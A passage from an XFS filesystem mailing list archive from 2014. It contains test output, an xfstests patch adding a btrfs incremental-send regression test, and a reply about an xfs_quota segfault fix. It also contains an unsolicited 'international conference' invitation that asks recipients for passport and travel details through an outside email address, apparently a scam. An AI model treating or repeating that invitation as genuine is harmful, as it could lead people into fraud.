+ 7. data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: hole +1b3779878366498b28c702ef88c4a773 + 8. unwritten -> hole +0: [0..23]: unwritten +1: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 9. unwritten -> data +0: [0..23]: unwritten +1: [24..31]: data +2: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 10. hole -> data -> hole +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 4. hole -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 5. hole -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 7. data -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 8. unwritten -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 9. unwritten -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 10. hole -> data -> hole +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 4. hole -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 5. hole -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 7. data -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 8. unwritten -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 9. unwritten -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 10. hole -> data -> hole +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* diff --git a/tests/generic/group b/tests/generic/group index a99b6a1..71bde41 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -10,6 +10,7 @@ 006 dir udf auto quick 007 dir udf auto quick 008 auto quick prealloc +009 auto quick prealloc 010 other udf auto 011 dir udf auto quick 013 other ioctl udf auto quick -- 1.8.3.1 From fdmanana@gmail.com Tue Mar 18 12:57:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D539A7F53 for ; Tue, 18 Mar 2014 12:57:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 510B3AC001 for ; Tue, 18 Mar 2014 10:57:35 -0700 (PDT) X-ASG-Debug-ID: 1395165452-04cb6c567666e8f0001-NocioJ Received: from mail-wg0-f43.google.com (mail-wg0-f43.google.com [74.125.82.43]) by cuda.sgi.com with ESMTP id fZaHzqQ53pMQjukL (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Mar 2014 10:57:33 -0700 (PDT) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.43 Received: by mail-wg0-f43.google.com with SMTP id x13so6133961wgg.26 for ; Tue, 18 Mar 2014 10:57:32 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=tS9RP2QMQfCxVfxeCWM7DyewJCfUF0tLtHjV6g9T8ls=; b=BvEwsTui6eO1XSbzoX57MQ+mrcPE9lz89jTlbCsDRxvwVf6Ph9+kZMR4z8M73RIqjH covPceUbbAQK6G8JxVNJcT9hOh+dzhY75CqIFNMa2tEucM9MAuGrTC55uBy6Q92ZqqMU tDBaTrueKvGM6RZAZiIS3nFfYwd86dXENhE0lkjredx1lMNToOiazWl41vapPMXW72Q5 joCZxXC/JrYRHh1Si9Dlb8mB7cWz6VJn6zXxqiWeCNR3HX9wuOavUzkHzD6LFaw1nAWG b2IK/zduyqWXWlxCuUN0jtj1KPhAHyNgDrRrg9C/dQyKs2gMtJAGIZcUVYMNHiK0OoMJ 25JA== X-Received: by 10.194.60.37 with SMTP id e5mr24239657wjr.32.1395165452276; Tue, 18 Mar 2014 10:57:32 -0700 (PDT) Received: from debian-vm3.lan (bl10-140-160.dsl.telepac.pt. [85.243.140.160]) by mx.google.com with ESMTPSA id lz3sm36762554wic.1.2014.03.18.10.57.30 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 18 Mar 2014 10:57:31 -0700 (PDT) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, Filipe David Borba Manana Subject: [PATCH v3] xfstests: add test for btrfs send regarding directory moves/renames Date: Tue, 18 Mar 2014 17:57:24 +0000 X-ASG-Orig-Subj: [PATCH v3] xfstests: add test for btrfs send regarding directory moves/renames Message-Id: <1395165444-24772-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.10.4 In-Reply-To: <1394983466-20497-1-git-send-email-fdmanana@gmail.com> References: <1394983466-20497-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wg0-f43.google.com[74.125.82.43] X-Barracuda-Start-Time: 1395165453 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4033 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for a btrfs incremental send issue where the kernel entered an infinite loop building a path string. This happened when either of the 2 following cases happened: 1) A directory was made a child of another directory which has a lower inode number and has a pending move/rename operation; 2) A directory was made a child of another directory which has a higher inode number, but the new parent wasn't moved nor renamed. Instead some other ancestor higher in the hierarchy, with an higher inode number too, was moved/renamed too. This issue is fixed by the following linux kernel btrfs patch: Btrfs: fix incremental send's decision to delay a dir move/rename Btrfs: part 2, fix incremental send's decision to delay a dir move/rename Signed-off-by: Filipe David Borba Manana --- V2: Added more tests. V3: Added more tests for more complex cases. tests/btrfs/045 | 214 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/045.out | 1 + tests/btrfs/group | 1 + 3 files changed, 216 insertions(+) create mode 100755 tests/btrfs/045 create mode 100644 tests/btrfs/045.out diff --git a/tests/btrfs/045 b/tests/btrfs/045 new file mode 100755 index 0000000..85201e3 --- /dev/null +++ b/tests/btrfs/045 @@ -0,0 +1,214 @@ +#! /bin/bash +# FS QA Test No. btrfs/045 +# +# Regression test for a btrfs incremental send issue where the kernel entered +# an infinite loop building a path string. This happened when either of the +# 2 following cases happened: +# +# 1) A directory was made a child of another directory which has a lower inode +# number and has a pending move/rename operation; +# +# 2) A directory was made a child of another directory which has a higher inode +# number, but the new parent wasn't moved nor renamed. Instead some other +# ancestor higher in the hierarchy, with an higher inode number too, was +# moved/renamed too. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: fix incremental send's decision to delay a dir move/rename +# Btrfs: part 2, fix incremental send's decision to delay a dir move/rename +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_fssum +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +# case 1), mentioned above +mkdir -p $SCRATCH_MNT/a/b +mkdir $SCRATCH_MNT/a/c +mkdir $SCRATCH_MNT/a/b/d +touch $SCRATCH_MNT/a/file1 +touch $SCRATCH_MNT/a/b/file2 +mv $SCRATCH_MNT/a/file1 $SCRATCH_MNT/a/b/d/file3 +ln $SCRATCH_MNT/a/b/d/file3 $SCRATCH_MNT/a/b/file4 +mkdir $SCRATCH_MNT/a/b/f +mv $SCRATCH_MNT/a/b $SCRATCH_MNT/a/c/b2 +touch $SCRATCH_MNT/a/c/b2/d/file5 + +# case 2), mentioned above +mkdir -p $SCRATCH_MNT/a/x1/x2 +mkdir $SCRATCH_MNT/a/Z +mkdir -p $SCRATCH_MNT/a/x1/x2/x3/x4/x5 + +# case 2) again, but a more complex scenario +mkdir -p $SCRATCH_MNT/_a/_b/_c/_d +mkdir $SCRATCH_MNT/_a/_b/_c/_d/_e +mkdir $SCRATCH_MNT/_a/_b/_c/_d/_f +mv $SCRATCH_MNT/_a/_b/_c/_d/_e $SCRATCH_MNT/_a/_b/_c/_d/_f/_E2 +mkdir $SCRATCH_MNT/_a/_b/_c/_g +mv $SCRATCH_MNT/_a/_b/_c/_d $SCRATCH_MNT/_a/_b/_D2 + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# | |-- c/ (ino 259) +# | | |-- b2/ (ino 258) +# | | |-- d/ (ino 260) +# | | | |-- file3 (ino 261) +# | | | |-- file5 (ino 264) +# | | | +# | | |-- file2 (ino 262) +# | | |-- file4 (ino 261) +# | | |-- f/ (ino 263) +# | | +# | |-- x1/ (ino 265) +# | | |-- x2/ (ino 266) +# | | |-- x3/ (ino 268) +# | | |-- x4/ (ino 269) +# | | |-- x5/ (ino 270) +# | | +# | |-- Z/ (ino 267) +# | +# |-- _a/ (ino 271) +# |-- _b/ (ino 272) +# |-- _c/ (ino 273) +# | |-- _g/ (ino 277) +# | +# |-- _D2/ (ino 274) +# |-- _f/ (ino 276) +# |-- _E2/ (ino 275) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +# case 1), mentioned above +ln $SCRATCH_MNT/a/c/b2/file4 $SCRATCH_MNT/a/c/b2/f/file6 +mv $SCRATCH_MNT/a/c/b2/d/file5 $SCRATCH_MNT/a/c/file7 +touch $SCRATCH_MNT/a/c/b2/d/file8 +touch $SCRATCH_MNT/a/c/b2/file9 +ln $SCRATCH_MNT/a/c/b2/file9 $SCRATCH_MNT/a/c/b2/file10 +mv $SCRATCH_MNT/a/c/b2/f $SCRATCH_MNT/a/f2 +mv $SCRATCH_MNT/a/c $SCRATCH_MNT/a/c2 +mv $SCRATCH_MNT/a/c2/b2 $SCRATCH_MNT/a/f2/b3 +mv $SCRATCH_MNT/a/c2 $SCRATCH_MNT/a/f2/b3/c3 +touch $SCRATCH_MNT/a/f2/b3/c3/file11 +mv $SCRATCH_MNT/a $SCRATCH_MNT/a2 + +# case 2), mentioned above +mv $SCRATCH_MNT/a2/x1/x2/x3 $SCRATCH_MNT/a2/Z/X33 +mv $SCRATCH_MNT/a2/x1/x2 $SCRATCH_MNT/a2/Z/X33/x4/x5/X22 + +# case 2) again, but a more complex scenario +mkdir $SCRATCH_MNT/_a/_o +mv $SCRATCH_MNT/_a/_b/_c/_g $SCRATCH_MNT/_a/_b/_D2/_f/_G2 +mv $SCRATCH_MNT/_a/_b/_D2 $SCRATCH_MNT/_a/_b/_dd +mv $SCRATCH_MNT/_a/_b/_c $SCRATCH_MNT/_a/_C2 +mv $SCRATCH_MNT/_a/_b/_dd/_f $SCRATCH_MNT/_a/_o/_FF +mv $SCRATCH_MNT/_a/_b $SCRATCH_MNT/_a/_o/_FF/_E2/_BB + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a2/ (ino 257) +# | |-- f2/ (ino 263) +# | | |-- file6 (ino 261) +# | | |-- b3/ (ino 258) +# | | |-- d/ (ino 260) +# | | | |-- file3 (ino 261) +# | | | |-- file8 (ino 278) +# | | | +# | | |-- file2 (ino 262) +# | | |-- file4 (ino 261) +# | | |-- file9 (ino 279) +# | | |-- file10 (ino 279) +# | | | +# | | |-- c3/ (ino 259) +# | | |-- file7 (ino 264) +# | | |-- file11 (ino 280) +# | | +# | |-- x1/ (ino 265) +# | |-- Z/ (ino 267) +# | |-- X33/ (ino 268) +# | |-- x4/ (ino 269) +# | |-- x5/ (ino 270) +# | |-- X22/ (ino 266) +# | +# |-- _a/ (ino 271) +# |-- _o/ (ino 281) +# | |-- _FF/ (ino 276) +# | |-- _E2/ (ino 275) +# | | |-- _BB/ (ino 272) +# | | |-- dd/ (ino 274) +# | | +# | |-- G2/ (ino 277) +# |-- C2/ (ino 273) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap + +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_check_scratch_fs + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_check_scratch_fs + +status=0 +exit diff --git a/tests/btrfs/045.out b/tests/btrfs/045.out new file mode 100644 index 0000000..5b0d489 --- /dev/null +++ b/tests/btrfs/045.out @@ -0,0 +1 @@ +QA output created by 045 diff --git a/tests/btrfs/group b/tests/btrfs/group index 4589043..9b41895 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -47,3 +47,4 @@ 042 auto quick 043 auto quick 044 auto quick +045 auto quick -- 1.7.10.4 From 2011004@iiitdmj.ac.in Tue Mar 18 18:26:51 2014 Return-Path: <2011004@iiitdmj.ac.in> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AD0447F8A for ; Tue, 18 Mar 2014 18:26:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 85C088F8081 for ; Tue, 18 Mar 2014 16:26:51 -0700 (PDT) X-ASG-Debug-ID: 1395185200-04bdf076f03e7750001-NocioJ Received: from mail.iiitdmj.ac.in (mail.iiitdmj.ac.in [210.212.148.37]) by cuda.sgi.com with ESMTP id 2soqA5juHSDOhgFN for ; Tue, 18 Mar 2014 16:26:42 -0700 (PDT) X-Barracuda-Envelope-From: 2011004@iiitdmj.ac.in X-Barracuda-Apparent-Source-IP: 210.212.148.37 Received: by mail.iiitdmj.ac.in (Postfix, from userid 79) id 7B3541000A8F; Wed, 19 Mar 2014 00:24:28 +0530 (IST) Received: from 41.82.253.140 (SquirrelMail authenticated user 2011004) by mail.iiitdmj.ac.in with HTTP; Wed, 19 Mar 2014 00:24:28 +0530 Message-ID: <6ce12bcbdb47e17ffdee02dc32385342.squirrel@mail.iiitdmj.ac.in> Date: Wed, 19 Mar 2014 00:24:28 +0530 Subject: 1st International Conference meeting From: "Program Coordinator" <2011004@iiitdmj.ac.in> X-ASG-Orig-Subj: 1st International Conference meeting Reply-To: hr.informationdesk@aim.com User-Agent: SquirrelMail/1.4.19 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal To: undisclosed-recipients:; X-Barracuda-Connect: mail.iiitdmj.ac.in[210.212.148.37] X-Barracuda-Start-Time: 1395185200 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.23 X-Barracuda-Spam-Status: No, SCORE=1.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, FROM_STARTS_WITH_NUMS, FROM_STARTS_WITH_NUMS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 FROM_STARTS_WITH_NUMS From: starts with many numbers 0.50 BSF_SC0_SA620a Custom Rule SA620a 0.72 FROM_STARTS_WITH_NUMS_2 From: starts with many numbers Dear colleagues, We are pleased to announce that the 1st International Conference of Community economic crisis & Public Health care: Research, Education & Practice will be held on June 4th – 7th, 2014 Texas City, USA and June 10th – 14th, 2014 in Republic of Senegal, Dakar City. It is a great honor and pleasure for me, as the Program coordinator of the Conference, to invite you to this scientific event. As we develop an appropriate health and a welfare strategy for societies, families and individual persons. Healthy people and patient safety is a complex issue with many factors that include human suffering and financial costs.It is believed that the scientific program will lead to a fruitful expansion of the participants' professional horizons and an efficient communication and sharing of scientific knowledge and experience with other scientists around the world. NOTE: Registration is open to all interested participants, the interested participants should be in possession of travelling passport for visa processing and air ticket. contact the below e-mail for more information and registration. (hr.informationdesk@aim.com) Respectfully, Ms. Eleanor Marion Program coordinator From jeff.liu@oracle.com Tue Mar 18 20:47:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 864AB7F76 for ; Tue, 18 Mar 2014 20:47:13 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1D6FFAC00D for ; Tue, 18 Mar 2014 18:47:09 -0700 (PDT) X-ASG-Debug-ID: 1395193628-04bdf05daa6c3e80001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 2Do54yEnyBnYLMnP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 18 Mar 2014 18:47:08 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s2J1l6Z8019685 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 19 Mar 2014 01:47:07 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2J1l5Xd006430 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 19 Mar 2014 01:47:06 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2J1l5gf024759; Wed, 19 Mar 2014 01:47:05 GMT Received: from [192.168.1.102] (/123.130.13.146) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 18 Mar 2014 18:47:05 -0700 Message-ID: <5328F715.8060502@oracle.com> Date: Wed, 19 Mar 2014 09:47:01 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: sandeen@redhat.com CC: Eryu Guan , xfs@oss.sgi.com Subject: Re: [PATCH] xfs_quota: avoid segfault when report -h on non-existent path References: <1395160746-26654-1-git-send-email-eguan@redhat.com> <53287D1E.2010409@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs_quota: avoid segfault when report -h on non-existent path In-Reply-To: <53287D1E.2010409@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1395193628 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On 03/19 2014 01:06 AM, Eric Sandeen wrote: > On 3/18/14, 11:39 AM, Eryu Guan wrote: >> Command xfs_quota -xc "report -h" /nosuchdir would get segfault, fix >> that by checking fs_path first before dereferencing it. >> >> Cc: Eric Sandeen >> Signed-off-by: Eryu Guan >> --- >> quota/report.c | 2 +- >> 1 file changed, 1 insertion(+), 1 deletion(-) >> >> diff --git a/quota/report.c b/quota/report.c >> index 70894a2..d486524 100644 >> --- a/quota/report.c >> +++ b/quota/report.c >> @@ -624,7 +624,7 @@ report_f( >> if (flags & ALL_MOUNTS_FLAG) >> report_any_type(fp, form, type, NULL, >> lower, upper, flags); >> - else if (fs_path->fs_flags & FS_MOUNT_POINT) >> + else if (fs_path && fs_path->fs_flags & FS_MOUNT_POINT) >> report_any_type(fp, form, type, fs_path->fs_dir, >> lower, upper, flags); >> } else while (argc > optind) { >> > > I think this is ok; state_f does the same thing. > > but others don't; enable_f, disable_f, off_f etc. > > Also this seems to be a slight regression since v3.1.8 or so, let me double > check that and see if we need to fix something more general. I once posted a same patch a few months ago, Christoph pointed out a general solution at below link: http://www.spinics.net/lists/xfs/msg23777.html Thanks, -Jeff From irina.niv-@newrock.com Tue Mar 18 22:01:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 490187F6A for ; Tue, 18 Mar 2014 22:01:29 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2963E304077 for ; Tue, 18 Mar 2014 20:01:29 -0700 (PDT) X-ASG-Debug-ID: 1395198083-04cbb054b6492520001-NocioJ Received: from mail.mymeteor.ie (mail.mymeteor.ie [212.129.64.9]) by cuda.sgi.com with ESMTP id HDQm0ERMcmtjvWNG for ; Tue, 18 Mar 2014 20:01:24 -0700 (PDT) X-Barracuda-Envelope-From: irina.niv-@newrock.com X-Barracuda-Apparent-Source-IP: 212.129.64.9 Received: from Unknown (178.18.25.16) by mail.mymeteor.ie (7.3.006) (authenticated as Anita.Farrelly@mymeteor.ie) id 524ECDA304D414F5; Wed, 19 Mar 2014 02:09:31 +0000 Message-ID: Reply-To: =?windows-1251?B?zvHu4eXt7e7x8ugg8ODn7OX55e3o/yDj7vHz?= =?windows-1251?B?5ODw8fLi5e3t7uPuIOgg7PPt6Pbo7+Dr/O3u?= =?windows-1251?B?4+4g5+Dq4Ofg?= From: =?windows-1251?B?zvHu4eXt7e7x8ugg8ODn7OX55e3o/yDj7vHz?= 